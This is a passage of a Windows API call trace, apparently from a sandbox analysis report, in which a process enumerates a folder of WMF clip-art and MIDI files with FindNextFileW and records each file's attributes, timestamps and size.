ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00443_.WMF", cAlternateFileName="")) returned 1 [0126.219] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00444_.WMF", cAlternateFileName="")) returned 1 [0126.219] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00445_.WMF", cAlternateFileName="")) returned 1 [0126.219] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00453_.WMF", cAlternateFileName="")) returned 1 [0126.219] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01080_.WMF", cAlternateFileName="")) returned 1 [0126.219] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01603_.WMF", cAlternateFileName="")) returned 1 [0126.219] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xda6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01634_.WMF", cAlternateFileName="")) returned 1 [0126.219] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01635_.WMF", cAlternateFileName="")) returned 1 [0126.219] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01636_.WMF", cAlternateFileName="")) returned 1 [0126.219] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01637_.WMF", cAlternateFileName="")) returned 1 [0126.219] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x292a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01638_.WMF", cAlternateFileName="")) returned 1 [0126.220] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd744774, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x108c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01639_.WMF", cAlternateFileName="")) returned 1 [0126.220] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x246a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CARBN_01.MID", cAlternateFileName="")) returned 1 [0126.220] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd744774, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="CG1606.WMF", cAlternateFileName="")) returned 1 [0126.220] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC1.WMF", cAlternateFileName="")) returned 1 [0126.220] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC2.WMF", cAlternateFileName="")) returned 1 [0126.220] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIP.WMF", cAlternateFileName="")) returned 1 [0126.220] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMNTY_01.MID", cAlternateFileName="")) returned 1 [0126.220] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1496, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANE.WMF", cAlternateFileName="")) returned 1 [0126.220] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc18a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANINST.WMF", cAlternateFileName="")) returned 1 [0126.220] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUP.WMF", cAlternateFileName="")) returned 1 [0126.220] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2856, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUPINST.WMF", cAlternateFileName="")) returned 1 [0126.220] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7992, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00117_.WMF", cAlternateFileName="")) returned 1 [0126.220] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00121_.WMF", cAlternateFileName="")) returned 1 [0126.220] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x73bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00234_.WMF", cAlternateFileName="")) returned 1 [0126.220] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00255_.WMF", cAlternateFileName="")) returned 1 [0126.220] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd744774, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00256_.WMF", cAlternateFileName="")) returned 1 [0126.220] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9456, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00261_.WMF", cAlternateFileName="")) returned 1 [0126.220] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9c5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00297_.WMF", cAlternateFileName="")) returned 1 [0126.220] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00372_.WMF", cAlternateFileName="")) returned 1 [0126.220] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00405_.WMF", cAlternateFileName="")) returned 1 [0126.220] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00407_.WMF", cAlternateFileName="")) returned 1 [0126.221] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00413_.WMF", cAlternateFileName="")) returned 1 [0126.221] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa79c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00414_.WMF", cAlternateFileName="")) returned 1 [0126.221] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00419_.WMF", cAlternateFileName="")) returned 1 [0126.221] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x78c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00437_.WMF", cAlternateFileName="")) returned 1 [0126.221] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00448_.WMF", cAlternateFileName="")) returned 1 [0126.221] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00449_.WMF", cAlternateFileName="")) returned 1 [0126.221] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5130, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00687_.WMF", cAlternateFileName="")) returned 1 [0126.221] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00705_.WMF", cAlternateFileName="")) returned 1 [0126.221] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01015_.WMF", cAlternateFileName="")) returned 1 [0126.221] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x39e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01039_.WMF", cAlternateFileName="")) returned 1 [0126.221] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01138_.WMF", cAlternateFileName="")) returned 1 [0126.221] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe30, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01139_.WMF", cAlternateFileName="")) returned 1 [0126.221] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01140_.WMF", cAlternateFileName="")) returned 1 [0126.221] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x85c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01143_.WMF", cAlternateFileName="")) returned 1 [0126.221] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xadc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01145_.WMF", cAlternateFileName="")) returned 1 [0126.221] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, 